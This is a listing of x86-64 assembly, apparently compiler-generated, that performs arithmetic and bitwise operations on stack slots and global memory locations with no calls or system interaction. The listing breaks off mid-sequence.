mov rax, qword [rsp + 0xa2f8]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xa970]
shl rax, cl
mov qword [rsp + 0xa238], rax
mov rax, qword [rsp + 0xa2b8]
mov eax, dword [rax]
mov dword [rsp + 0x529c], eax
mov rax, qword [rsp + 0xb420]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xaf28]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x16f4], ax
movsx eax, word [rsp + 0xff8]
mov rcx, qword [rsp + 0x9488]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [0x1401cdb80]
mov word [rcx], ax
movsx eax, word [rsp + 0x182c]
mov rcx, qword [0x1401cdb80]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xa7f8]
mov word [rcx], ax
mov rax, qword [rsp + 0x9498]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xb528]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x11c0], ax
mov rax, qword [rsp + 0x96a0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x230]
sub eax, ecx
mov byte [rsp + 0x1f0], al
lea rax, [0x1401cc028]
mov qword [rsp + 0xb618], rax
mov rax, qword [rsp + 0xa1e0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x5034]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4c88], eax
mov rax, qword [rsp + 0x9f28]
mov rcx, qword [rsp + 0xa7d8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x9b90], rax
lea rax, [rsp + 0x4fe4]
mov qword [rsp + 0xb620], rax
movsx eax, byte [rsp + 0x2ab]
movsx ecx, byte [rsp + 0x2a2]
and eax, ecx
mov byte [rsp + 0x296], al
mov rax, qword [rsp + 0xad38]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1678]
add eax, ecx
mov word [0x1401cc148], ax
movzx eax, byte [rsp + 0x2a3]
mov byte [rsp + 0x2ee], al
mov rax, qword [rsp + 0xaad0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9050]
movzx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x8d78]
mov byte [rcx], al
mov rax, qword [rsp + 0xa820]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x12e8]
shl eax, cl
mov word [rsp + 0x1718], ax
mov eax, dword [rsp + 0x4d00]
mov dword [rsp + 0x52a0], eax
mov rax, qword [rsp + 0xb598]
mov rcx, qword [rsp + 0xa110]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0xb598]
mov dword [rcx], eax
mov rax, qword [rsp + 0xaf08]
mov rax, qword [rax]
mov qword [rsp + 0xb628], rax
mov rax, qword [rsp + 0x9f10]
mov rcx, qword [rsp + 0xaf78]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0xa698]
mov qword [rcx], rax
mov rax, qword [rsp + 0xa7b8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x223]
sub eax, ecx
mov rcx, qword [rsp + 0x9ea0]
mov byte [rcx], al
movsx eax, byte [rsp + 0x1e8]
mov rcx, qword [0x1401cdba8]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [0x1401cc08b], al
lea rax, [rsp + 0x1550]
mov qword [rsp + 0xb630], rax
movzx eax, byte [rsp + 0x2c1]
movzx ecx, byte [rsp + 0x201]
add eax, ecx
mov byte [rsp + 0x281], al
mov rax, qword [rsp + 0xb158]
movzx eax, word [rax]
mov word [rsp + 0x1940], ax
movsx eax, word [rsp + 0x17a0]
movsx ecx, word [rsp + 0x1174]
sub eax, ecx
mov word [rsp + 0x15e8], ax
mov rax, qword [rsp + 0x8458]
mov qword [rsp + 0xb638], rax
mov eax, dword [rsp + 0x502c]
mov ecx, dword [rsp + 0x4c9c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4f30], eax
mov eax, dword [rsp + 0x4eb8]
mov ecx, dword [rsp + 0x506c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8c80]
mov dword [rcx], eax
mov rax, qword [rsp + 0xaab0]
mov qword [rsp + 0xb640], rax
movzx eax, word [rsp + 0x1530]
mov rcx, qword [rsp + 0xb420]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [0x1401cd9c0]
mov word [rcx], ax
movsx eax, byte [rsp + 0x1a3]
movsx ecx, byte [rsp + 0x27e]
add eax, ecx
mov byte [rsp + 0x218], al
mov rax, qword [rsp + 0xadd0]
movzx eax, byte [rax]
mov byte [rsp + 0x2ef], al
movsx eax, word [rsp + 0x153c]
mov rcx, qword [0x1401cdc20]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xe94], ax
movzx eax, word [rsp + 0x190c]
mov rcx, qword [rsp + 0xacf0]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x15d4], ax
lea rax, [rsp + 0x4e80]
mov qword [rsp + 0xb648], rax
mov rax, qword [rsp + 0x9558]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x5250]
shl eax, cl
mov rcx, qword [rsp + 0x9030]
mov dword [rcx], eax
mov rax, qword [rsp + 0xac68]
mov qword [rsp + 0xb650], rax
mov rax, qword [rsp + 0x9420]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9168]
mov qword [rsp + 0xb658], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb658]
mov rax, qword [rax]
shr rax, cl
mov rcx, qword [rsp + 0xae68]
mov qword [rcx], rax
movzx eax, byte [rsp + 0x2df]
mov byte [0x1401cd826], al
movsx eax, word [rsp + 0x182c]
mov rcx, qword [rsp + 0x9980]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x1424], ax
lea rax, [rsp + 0x23d]
mov qword [rsp + 0xb660], rax
movzx eax, byte [rsp + 0x2db]
movzx ecx, byte [0x1401cd826]
xor eax, ecx
mov rcx, qword [rsp + 0x9920]
mov byte [rcx], al
mov rax, qword [rsp + 0xa978]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9938]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1224], ax
mov rax, qword [rsp + 0x96f0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x50a0]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x95e0]
mov dword [rcx], eax
lea rax, [0x1401cc020]
mov qword [rsp + 0xb668], rax
mov rax, qword [rsp + 0xa2b8]
mov rcx, qword [rsp + 0x9b78]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x521c], eax
mov rax, qword [rsp + 0xb5c8]
mov rcx, qword [rsp + 0x9978]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xb040]
mov qword [rcx], rax
movzx eax, byte [rsp + 0x2c6]
movzx ecx, byte [rsp + 0x228]
add eax, ecx
mov byte [0x1401cc00f], al
movzx eax, byte [rsp + 0x242]
mov byte [rsp + 0x2f0], al
movzx eax, word [rsp + 0x1528]
movzx ecx, word [rsp + 0x18b4]
sub eax, ecx
mov word [rsp + 0x184c], ax
mov rax, qword [0x1401cdb20]
movzx eax, byte [rax]
mov byte [rsp + 0x2f1], al
mov rax, qword [rsp + 0xa6c0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9250]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xa680]
mov word [rcx], ax
mov rax, qword [rsp + 0xa288]
mov ecx, dword [rsp + 0x4fa4]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x9968]
mov dword [rcx], eax
lea rax, [rsp + 0x8360]
mov qword [rsp + 0xb670], rax
mov rax, qword [rsp + 0xa9b8]
mov rcx, qword [rsp + 0xa678]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xb5c8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8f18]
mov eax, dword [rax]
mov dword [rsp + 0x52a4], eax
movzx eax, word [0x1401cc054]
mov rcx, qword [rsp + 0x9180]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x1401cc068], ax
movsx eax, word [rsp + 0x16f8]
mov rcx, qword [rsp + 0xa5a8]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xb488]
mov word [rcx], ax
mov rax, qword [rsp + 0xa6c8]
movzx eax, byte [rax]
mov rcx, qword [0x1401cd958]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x25a], al
movzx eax, byte [rsp + 0x2d0]
mov byte [rsp + 0x2f2], al
mov rax, qword [rsp + 0x9d58]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1558]
sar eax, cl
mov rcx, qword [rsp + 0xa9a8]
mov word [rcx], ax
lea rax, [rsp + 0x5030]
mov qword [rsp + 0xb678], rax
mov rax, qword [rsp + 0x9500]
mov rcx, qword [rsp + 0xae48]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x8a10], rax
mov rax, qword [rsp + 0xb518]
movzx ecx, al
mov rax, qword [rsp + 0xa548]
shl rax, cl
mov rcx, qword [rsp + 0xb108]
mov qword [rcx], rax
mov rax, qword [rsp + 0xa580]
mov eax, dword [rax]
mov dword [rsp + 0x52a8], eax
movsx eax, byte [rsp + 0x240]
movsx ecx, byte [rsp + 0x210]
and eax, ecx
mov byte [0x1401cc08e], al
mov rax, qword [rsp + 0x97d0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x14d8]
add eax, ecx
mov rcx, qword [rsp + 0x8f70]
mov word [rcx], ax
lea rax, [rsp + 0x18cc]
mov qword [rsp + 0xb680], rax
mov rax, qword [rsp + 0x9070]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x14e4]
add eax, ecx
mov word [rsp + 0x16d4], ax
lea rax, [rsp + 0x275]
mov qword [rsp + 0xb688], rax
mov rax, qword [rsp + 0x94c8]
mov rcx, qword [rsp + 0x9eb8]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x9768]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9ca8]
mov rcx, qword [rsp + 0x9c28]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xa930]
mov qword [rcx], rax
mov rax, qword [rsp + 0xa658]
mov rax, qword [rax]
mov qword [rsp + 0xb690], rax
mov eax, dword [rsp + 0x51f8]
mov ecx, dword [rsp + 0x5100]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4fe8], eax
movzx eax, byte [rsp + 0x2d1]
mov rcx, qword [rsp + 0x99f0]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x1401cc08f], al
lea rax, [rsp + 0x291]
mov qword [rsp + 0xb698], rax
mov rax, qword [0x1401cdc50]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9038]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x9778]
mov word [rcx], ax
mov rax, qword [rsp + 0xae90]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xa730]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x92f0]
mov byte [rcx], al
mov rax, qword [rsp + 0xaeb8]
movzx eax, word [rax]
mov word [rsp + 0x1944], ax
mov rax, qword [0x1401cd728]
mov rcx, qword [rsp + 0x8158]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x9fd0], rax
mov eax, dword [rsp + 0x479c]
mov dword [rsp + 0x52ac], eax
mov eax, dword [rsp + 0x4f18]
mov ecx, dword [rsp + 0x525c]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x4efc], eax
mov rax, qword [rsp + 0xb388]
mov rcx, qword [rsp + 0x92b0]
mov qword [rsp + 0xb6a0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb6a0]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0xaef0], rax
mov rax, qword [rsp + 0x9730]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xb4c0]
movsx ecx, word [rcx]
shl eax, cl
mov word [0x1401cdb38], ax
movzx eax, byte [rsp + 0x268]
mov rcx, qword [0x1401cdb90]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x78], al
movzx eax, word [rsp + 0x1854]
movzx ecx, word [rsp + 0x18a4]
add eax, ecx
mov word [rsp + 0xeec], ax
mov rax, qword [rsp + 0xa170]
movzx eax, byte [rax]
mov byte [rsp + 0x2f3], al
mov rax, qword [rsp + 0xa150]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xaa10]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xa1c8]
mov byte [rcx], al
mov eax, dword [rsp + 0x4ee4]
mov dword [rsp + 0x52b0], eax
mov rax, qword [rsp + 0xb038]
mov rcx, qword [rsp + 0x9130]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xb510]
mov qword [rcx], rax
mov rax, qword [rsp + 0x96c0]
mov rcx, qword [0x1401cc010]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x8dd8], rax
mov rax, qword [rsp + 0x8f60]
mov eax, dword [rax]
mov dword [rsp + 0x52b4], eax
movsx eax, byte [rsp + 0x1f2]
mov rcx, qword [rsp + 0xb408]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x22b], al
movzx eax, byte [rsp + 0x24e]
mov byte [0x1401cd827], al
lea rax, [rsp + 0x15ec]
mov qword [rsp + 0xb6a8], rax
mov rax, qword [rsp + 0x9e70]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x91b0]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xaea0]
mov word [rcx], ax
mov rax, qword [rsp + 0x9818]
movzx eax, byte [rax]
movzx ecx, byte [0x1401cc046]
sub eax, ecx
mov byte [rsp + 0x284], al
lea rax, [rsp + 0xafb0]
mov qword [rsp + 0xb6b0], rax
mov eax, dword [rsp + 0x519c]
mov ecx, dword [rsp + 0x526c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x508c], eax
mov rax, qword [rsp + 0xaab8]
mov eax, dword [rax]
mov dword [rsp + 0x52b8], eax
mov rax, qword [rsp + 0x8428]
mov rcx, qword [rsp + 0xb490]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9128]
mov qword [rcx], rax
movsx eax, byte [rsp + 0x220]
movsx ecx, byte [rsp + 0x2e7]
xor eax, ecx
mov byte [rsp + 0x2f2], al
mov rax, qword [rsp + 0x9628]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1664]
cdq
idiv ecx
mov rcx, qword [0x1401cd7f8]
mov word [rcx], ax
mov rax, qword [rsp + 0x8d00]
movzx eax, byte [rax]
mov byte [rsp + 0x2f4], al
movzx eax, byte [rsp + 0x2ae]
movzx ecx, byte [rsp + 0x2ee]
sar eax, cl
mov byte [rsp + 0x2e9], al
lea rax, [0x1401cc048]
mov qword [rsp + 0xb6b8], rax
mov rax, qword [rsp + 0x9820]
mov rcx, qword [rsp + 0xb038]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xa7d8], rax
mov eax, dword [rsp + 0x4ca0]
movzx ecx, al
mov eax, dword [rsp + 0x4e38]
shl eax, cl
mov rcx, qword [rsp + 0xaf70]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa438]
mov eax, dword [rax]
mov dword [rsp + 0x52bc], eax
mov rax, qword [rsp + 0xa668]
mov rcx, qword [rsp + 0x9ce0]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xa6f0], rax
lea rax, [rsp + 0x1764]
mov qword [rsp + 0xb6c0], rax
mov rax, qword [rsp + 0xac38]
movsx eax, byte [rax]
mov rcx, qword [0x1401cd758]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [0x1401cc092], al
movzx eax, byte [rsp + 0x26b]
movzx ecx, byte [rsp + 0x25c]
sub eax, ecx
mov byte [rsp + 0x20e], al
mov rax, qword [rsp + 0x9740]
movzx eax, word [rax]
mov word [rsp + 0x1948], ax
movzx eax, word [0x1401cc0a4]
movzx ecx, word [rsp + 0x164c]
add eax, ecx
mov word [rsp + 0x16dc], ax
mov rax, qword [rsp + 0xb1b8]
mov rcx, qword [rsp + 0x9f78]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x8018], rax
mov rax, qword [rsp + 0xb1c0]
mov eax, dword [rax]
mov dword [rsp + 0x52c0], eax
mov rax, qword [rsp + 0xa508]
mov rcx, qword [rsp + 0xaa40]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x8448], rax
mov rax, qword [rsp + 0x9968]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x5070]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x4cb0], eax
mov rax, qword [rsp + 0xa650]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x17bc]
add eax, ecx
mov word [rsp + 0x1728], ax
movsx eax, byte [rsp + 0x1df]
mov rcx, qword [rsp + 0x9138]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [0x1401cc072], al
movsx eax, word [rsp + 0x11f4]
movsx ecx, word [rsp + 0x14ec]
add eax, ecx
mov word [rsp + 0x1798], ax
movzx eax, byte [rsp + 0x291]
mov byte [rsp + 0x2f5], al
movzx eax, word [rsp + 0x18b4]
movzx ecx, word [rsp + 0x17b8]
or eax, ecx
mov rcx, qword [rsp + 0xaa00]
mov word [rcx], ax
lea rax, [rsp + 0x215]
mov qword [rsp + 0xb6c8], rax
mov eax, dword [rsp + 0x522c]
mov rcx, qword [rsp + 0xa4c8]
mov qword [rsp + 0xb6d0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb6d0]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0xb620]
mov dword [rcx], eax
mov rax, qword [rsp + 0x90b0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4f14]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x5048], eax
mov rax, qword [rsp + 0x9580]
mov qword [rsp + 0xb6d8], rax
mov rax, qword [rsp + 0xa2a0]
movzx ecx, al
mov rax, qword [0x1401cc020]
sar rax, cl
mov rcx, qword [rsp + 0xa358]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9ef8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xa6c0]
movsx ecx, word [rcx]
and eax, ecx
mov word [0x1401cc14c], ax
lea rax, [rsp + 0x2de]
mov qword [rsp + 0xb6e0], rax
mov rax, qword [rsp + 0xb450]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1804]
add eax, ecx
mov word [rsp + 0x1610], ax
movzx eax, word [rsp + 0x1508]
movzx ecx, word [rsp + 0x178c]
add eax, ecx
mov word [rsp + 0x1754], ax
movzx eax, byte [rsp + 0x260]
mov byte [rsp + 0x2f6], al
mov rax, qword [rsp + 0x9da0]
mov rax, qword [rax]
mov rcx, qword [0x1401cc028]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xae88]
mov qword [rcx], rax
mov eax, dword [rsp + 0x479c]
mov dword [rsp + 0x52c4], eax
mov rax, qword [rsp + 0xa4b8]
mov rcx, qword [rsp + 0xae98]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x9b10], rax
lea rax, [rsp + 0x4e38]
mov qword [rsp + 0xb6e8], rax
mov rax, qword [rsp + 0x9ef8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xa7f8]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x1401cc104], ax
movsx eax, byte [rsp + 0x2a7]
movsx ecx, byte [rsp + 0x1f9]
sub eax, ecx
mov byte [rsp + 0x237], al
movzx eax, word [rsp + 0x1774]
mov rcx, qword [rsp + 0xad58]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xa2c0]
mov word [rcx], ax
movzx eax, byte [rsp + 0x80]
mov byte [rsp + 0x2f7], al
movsx eax, word [rsp + 0x17c8]
movsx ecx, word [0x1401cc128]
sub eax, ecx
mov word [rsp + 0x1818], ax
mov rax, qword [rsp + 0xa628]
mov rax, qword [rax]
mov qword [rsp + 0xb6f0], rax
mov rax, qword [rsp + 0xa250]
mov ecx, dword [rsp + 0x5174]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0xa660]
mov dword [rcx], eax
mov rax, qword [rsp + 0x92d8]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x9220]
sar rax, cl
mov qword [rsp + 0x9418], rax
lea rax, [rsp + 0x5084]
mov qword [rsp + 0xb6f8], rax
movzx eax, byte [rsp + 0x222]
mov byte [0x1401cd832], al
mov rax, qword [rsp + 0xb008]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa5e0]
movzx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x9f20]
mov word [rcx], ax
lea rax, [rsp + 0x1ed]
mov qword [rsp + 0xb700], rax
mov rax, qword [rsp + 0xa9b0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9058]
movzx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x9b18]
mov byte [rcx], al
movsx eax, word [rsp + 0x1570]
mov rcx, qword [rsp + 0x9748]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xb0b0]
mov word [rcx], ax
lea rax, [rsp + 0xa070]
mov qword [rsp + 0xb708], rax
mov rax, qword [rsp + 0x9918]
mov rcx, qword [rsp + 0xb400]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0xb1f0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xad18]
mov rax, qword [rax]
mov qword [rsp + 0xb710], rax
mov rax, qword [rsp + 0x99b8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4ef0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4f28], eax
mov rax, qword [rsp + 0xab90]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x2e0]
sub eax, ecx
mov byte [0x1401cc042], al
lea rax, [rsp + 0x184c]
mov qword [rsp + 0xb718], rax
mov rax, qword [rsp + 0x8f30]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x14dc]
add eax, ecx
mov word [rsp + 0x1618], ax
movsx eax, byte [rsp + 0xe1]
movsx ecx, byte [rsp + 0x1a3]
sub eax, ecx
mov byte [rsp + 0x20f], al
lea rax, [rsp + 0x180c]
mov qword [rsp + 0xb720], rax
mov rax, qword [rsp + 0xaeb0]
mov rcx, qword [rsp + 0x9598]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4f70], eax
mov rax, qword [rsp + 0x7f30]
mov qword [rsp + 0xb728], rax
mov rax, qword [rsp + 0x8c58]
mov rcx, qword [rsp + 0x98b0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4fe8], eax
mov rax, qword [rsp + 0x9018]
mov rcx, qword [rsp + 0xb358]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xa5c0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x91d8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x21f]
and eax, ecx
mov byte [0x1401cc00e], al
lea rax, [rsp + 0x203]
mov qword [rsp + 0xb730], rax
movsx eax, word [rsp + 0x1874]
movsx ecx, word [rsp + 0x1544]
shl eax, cl
mov word [rsp + 0x15e8], ax
lea rax, [rsp + 0x235]
mov qword [rsp + 0xb738], rax
movzx eax, byte [rsp + 0x256]
mov rcx, qword [0x1401cdbd0]
movzx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x95c8]
mov byte [rcx], al
mov eax, dword [rsp + 0x5064]
mov ecx, dword [rsp + 0x5228]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9e80]
mov dword [rcx], eax
lea rax, [rsp + 0x4a50]
mov qword [rsp + 0xb740], rax
mov rax, qword [0x1401cd728]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb220]
mov qword [rsp + 0xb748], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb748]
mov rax, qword [rax]
sar rax, cl
mov rcx, qword [rsp + 0xb670]
mov qword [rcx], rax
lea rax, [rsp + 0xa918]
mov qword [rsp + 0xb750], rax
mov rax, qword [rsp + 0x9c78]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xeec]
add eax, ecx
mov word [0x1401cc150], ax
movsx eax, byte [rsp + 0x269]
movsx ecx, byte [rsp + 0x1f2]
sub eax, ecx
mov byte [rsp + 0x2bd], al
movsx eax, word [rsp + 0x17dc]
mov rcx, qword [rsp + 0xb2a0]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x9dd8]
mov word [rcx], ax
lea rax, [rsp + 0x266]
mov qword [rsp + 0xb758], rax
movzx eax, word [rsp + 0x1598]
movzx ecx, word [rsp + 0x14f8]
add eax, ecx
mov word [rsp + 0x14cc], ax
mov rax, qword [rsp + 0xaf78]
mov rcx, qword [rsp + 0x9958]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x8ba0], rax
mov rax, qword [rsp + 0x9cc8]
mov rcx, qword [0x1401cc020]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x8c98], rax
lea rax, [rsp + 0x4b94]
mov qword [rsp + 0xb760], rax
mov rax, qword [rsp + 0xa8f8]
mov ecx, dword [rsp + 0x51cc]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xa750]
mov dword [rcx], eax
movsx eax, byte [rsp + 0x2b5]
mov rcx, qword [rsp + 0xa390]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [0x1401cc093], al
movsx eax, word [rsp + 0x11fc]
mov rcx, qword [rsp + 0x9488]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x9828]
mov word [rcx], ax
lea rax, [rsp + 0x1358]
mov qword [rsp + 0xb768], rax
mov rax, qword [0x1401cd7c0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x17c0]
sub eax, ecx
mov rcx, qword [rsp + 0x92e8]
mov word [rcx], ax
mov rax, qword [rsp + 0xa8a0]
movzx eax, byte [rax]
mov byte [rsp + 0x2f8], al
mov rax, qword [rsp + 0x80a0]
mov rcx, qword [rsp + 0xb270]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x96f8]
mov qword [rcx], rax
mov rax, qword [rsp + 0xb118]
mov rcx, qword [rsp + 0x9198]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0xb5c8]
mov qword [rcx], rax
mov rax, qword [rsp + 0xa278]
mov eax, dword [rax]
mov dword [rsp + 0x52c8], eax
mov eax, dword [rsp + 0x52ac]
movzx ecx, al
mov eax, dword [rsp + 0x4f74]
shr eax, cl
mov rcx, qword [rsp + 0xaec0]
mov dword [rcx], eax
mov rax, qword [0x1401cd800]
movzx eax, word [rax]
mov word [rsp + 0x194c], ax
movzx eax, byte [rsp + 0x207]
movzx ecx, byte [rsp + 0x200]
or eax, ecx
mov rcx, qword [0x1401cd868]
mov byte [rcx], al
mov rax, qword [rsp + 0xa190]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xad00]
movsx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x8f40]
mov byte [rcx], al
movsx eax, word [0x1401cda28]
movsx ecx, word [rsp + 0x173c]
and eax, ecx
mov word [rsp + 0x18c4], ax
movzx eax, byte [rsp + 0x261]
mov byte [rsp + 0x2f9], al
mov rax, qword [rsp + 0xa9f8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa2a0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x9e58], rax
lea rax, [rsp + 0x505c]
mov qword [rsp + 0xb770], rax
mov rax, qword [rsp + 0xa870]
mov rcx, qword [rsp + 0x96c0]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x98c8], rax
lea rax, [rsp + 0x51a8]
mov qword [rsp + 0xb778], rax
mov rax, qword [0x1401cd758]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xad00]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x231], al
mov rax, qword [rsp + 0x99d8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9498]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [0x1401cd7b0]
mov word [rcx], ax
movsx eax, word [rsp + 0x1708]
mov rcx, qword [rsp + 0x92c8]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xac58]
mov word [rcx], ax
lea rax, [rsp + 0x253]
mov qword [rsp + 0xb780], rax
movsx eax, byte [rsp + 0x26c]
mov rcx, qword [rsp + 0x8cc0]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xaf88]
mov byte [rcx], al
mov rax, qword [rsp + 0xb040]
mov rax, qword [rax]
mov qword [rsp + 0xb788], rax
mov rax, qword [rsp + 0xb598]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x5048]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x5188], eax
mov rax, qword [rsp + 0x9158]
mov rcx, qword [rsp + 0xabd0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4ca4], eax
lea rax, [rsp + 0x9b80]
mov qword [rsp + 0xb790], rax
movzx eax, byte [rsp + 0x248]
mov rcx, qword [rsp + 0xb178]
